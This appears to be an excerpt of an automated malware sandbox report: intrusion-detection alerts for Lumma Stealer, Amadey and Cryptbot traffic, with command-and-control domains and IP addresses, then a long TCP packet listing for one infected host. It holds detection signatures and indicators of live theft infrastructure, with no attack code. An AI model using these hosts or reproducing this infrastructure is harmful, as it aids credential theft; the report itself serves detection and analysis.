2024-12-20T07:12:26.576398+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49806	172.67.209.202	443	TCP
2024-12-20T07:12:26.576398+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49806	172.67.209.202	443	TCP
2024-12-20T07:12:30.225177+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49816	172.67.209.202	443	TCP
2024-12-20T07:12:30.225177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49816	172.67.209.202	443	TCP
2024-12-20T07:12:30.277104+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49817	172.67.180.113	443	TCP
2024-12-20T07:12:32.803963+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49822	172.67.209.202	443	TCP
2024-12-20T07:12:32.803963+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49822	172.67.209.202	443	TCP
2024-12-20T07:12:32.873978+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49823	172.67.180.113	443	TCP
2024-12-20T07:12:35.315410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49830	172.67.180.113	443	TCP
2024-12-20T07:12:36.181598+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49832	185.215.113.43	80	TCP
2024-12-20T07:12:37.632806+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	31.41.244.11	80	TCP
2024-12-20T07:12:38.181605+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49841	172.67.209.202	443	TCP
2024-12-20T07:12:38.181605+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49841	172.67.209.202	443	TCP
2024-12-20T07:12:38.878043+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49844	172.67.180.113	443	TCP
2024-12-20T07:12:39.245388+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49841	172.67.209.202	443	TCP
2024-12-20T07:12:39.958107+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49844	172.67.180.113	443	TCP
2024-12-20T07:12:42.228584+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49853	172.67.180.113	443	TCP
2024-12-20T07:12:43.775072+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49859	185.215.113.43	80	TCP
2024-12-20T07:12:45.226074+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49867	31.41.244.11	80	TCP
2024-12-20T07:12:45.822891+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49868	172.67.180.113	443	TCP
2024-12-20T07:12:46.609721+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49868	172.67.180.113	443	TCP
2024-12-20T07:12:56.017206+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49895	185.215.113.43	80	TCP
2024-12-20T07:12:57.468645+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49899	31.41.244.11	80	TCP
2024-12-20T07:13:02.754004+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49912	185.215.113.43	80	TCP
2024-12-20T07:13:03.182945+0100	2058212	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)	1	192.168.2.4	58148	1.1.1.1	53	UDP
2024-12-20T07:13:03.410008+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.4	58623	1.1.1.1	53	UDP
2024-12-20T07:13:04.416167+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.4	58623	1.1.1.1	53	UDP
2024-12-20T07:13:04.446255+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49916	31.41.244.11	80	TCP
2024-12-20T07:13:06.159831+0100	2058223	ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)	1	192.168.2.4	49920	178.62.201.34	443	TCP
2024-12-20T07:13:06.159831+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49920	178.62.201.34	443	TCP
2024-12-20T07:13:06.161905+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	178.62.201.34	443	192.168.2.4	49920	TCP
2024-12-20T07:13:06.733568+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49920	178.62.201.34	443	TCP
2024-12-20T07:13:06.733568+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49920	178.62.201.34	443	TCP
2024-12-20T07:13:06.740211+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.4	49215	1.1.1.1	53	UDP
2024-12-20T07:13:07.767544+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.4	49215	1.1.1.1	53	UDP
2024-12-20T07:13:09.164511+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49930	147.45.113.159	80	TCP
2024-12-20T07:13:09.944463+0100	2058215	ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)	1	192.168.2.4	49931	45.77.249.79	443	TCP
2024-12-20T07:13:09.944463+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49931	45.77.249.79	443	TCP
2024-12-20T07:13:10.643779+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49933	185.215.113.43	80	TCP
2024-12-20T07:13:10.922221+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49939	147.45.113.159	80	TCP
2024-12-20T07:13:15.675863+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	45.77.249.79	443	192.168.2.4	49931	TCP
2024-12-20T07:13:15.857890+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49949	172.67.180.113	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 07:12:03.988142967 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:04.107772112 CET	80	49747	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:04.107878923 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:04.108078957 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:04.227538109 CET	80	49747	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:05.450751066 CET	80	49747	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:05.450836897 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:06.964858055 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:06.965266943 CET	49756	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:07.084839106 CET	80	49756	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:07.084858894 CET	80	49747	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:07.084997892 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:07.085319996 CET	49756	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:07.085319996 CET	49756	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:07.205262899 CET	80	49756	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:08.463793993 CET	80	49756	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:08.463813066 CET	80	49756	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:08.463895082 CET	49756	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:08.698498011 CET	80	49756	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:08.698668957 CET	49756	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:08.703749895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:08.823424101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:08.823638916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:08.823952913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:08.943799019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150140047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150156021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150178909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150187969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150194883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150211096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150224924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150299072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150316000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150331974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.150335073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.150336027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.150444984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.150444984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.270014048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.270118952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.270207882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.270291090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.274142981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.274207115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.274234056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.274291992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.282536983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.282608032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.342092991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.342200994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.342287064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.342350960 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.346343040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.346415043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.347827911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.347884893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.347914934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.347949028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.356307983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.356395960 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.356399059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.356456041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.364639044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.364696026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.364717007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.364769936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.373071909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.373136997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.373140097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.373214006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.381361961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.381423950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.381483078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.381534100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.390058041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.390074968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.390114069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.390163898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.398184061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.398247957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.398283958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.398339033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.406644106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.406661034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.406707048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.406735897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.415121078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.415137053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.415173054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.415208101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.423379898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.423441887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.423505068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.423572063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.432085037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.432107925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.432146072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.432177067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.534061909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.534136057 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.534189939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.534238100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.536194086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.536256075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.536303997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.536354065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.540452003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.540518999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.542041063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.542104959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.542156935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.542208910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.546295881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.546359062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.546363115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.546415091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.550575018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.550635099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.550662041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.550719023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.554872036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.554936886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.554960012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.555016994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.559225082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.559293032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.559426069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.559427023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.563414097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.563499928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.563541889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.563601017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.567619085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.567686081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.567723036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.567780018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.571790934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.571862936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.571916103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.571974039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.576042891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.576097965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.576111078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.576153994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.580202103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.580261946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.580348015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.580399036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.584363937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.584441900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.584486961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.584549904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.588677883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.588694096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.588737011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.588768959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.592740059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.592797041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.592842102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.592895031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.596920967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.596978903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.597064018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.597259045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.601130009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.601196051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.601197958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.601246119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.605278015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.605400085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.605475903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.609493971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.609565020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.609694958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.609750986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.613714933 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.613742113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.613770008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.613815069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.726207018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.726281881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.726327896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.726386070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.727847099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.727902889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.727962971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.728020906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.731178045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.731239080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.731262922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.731307030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.734447002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.734510899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.734646082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.734704018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.737684965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.737750053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.737827063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.737883091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.740884066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.740936995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.740988016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.741044044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.744088888 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.744144917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.744189024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.744245052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.747111082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.747164965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.747214079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.747262955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.750207901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.750268936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.750318050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.750372887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.753338099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.753396034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.753427982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.753488064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.756441116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.756494999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.756591082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.756647110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.759536028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.759639978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.759644032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.759691954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.762664080 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.762726068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.762737036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.762794018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.765749931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.765803099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.765851974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.765907049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.768843889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.768898964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.768949032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.769001961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.771934032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.771990061 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.772037983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.772097111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.775051117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.775106907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.775158882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.775216103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.778193951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.778251886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.778327942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.778382063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.781255960 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.781311035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.781372070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.781429052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.784379005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:10.784434080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:10.784459114 CET	80	49759	31.41.244.11	192.168.2.4
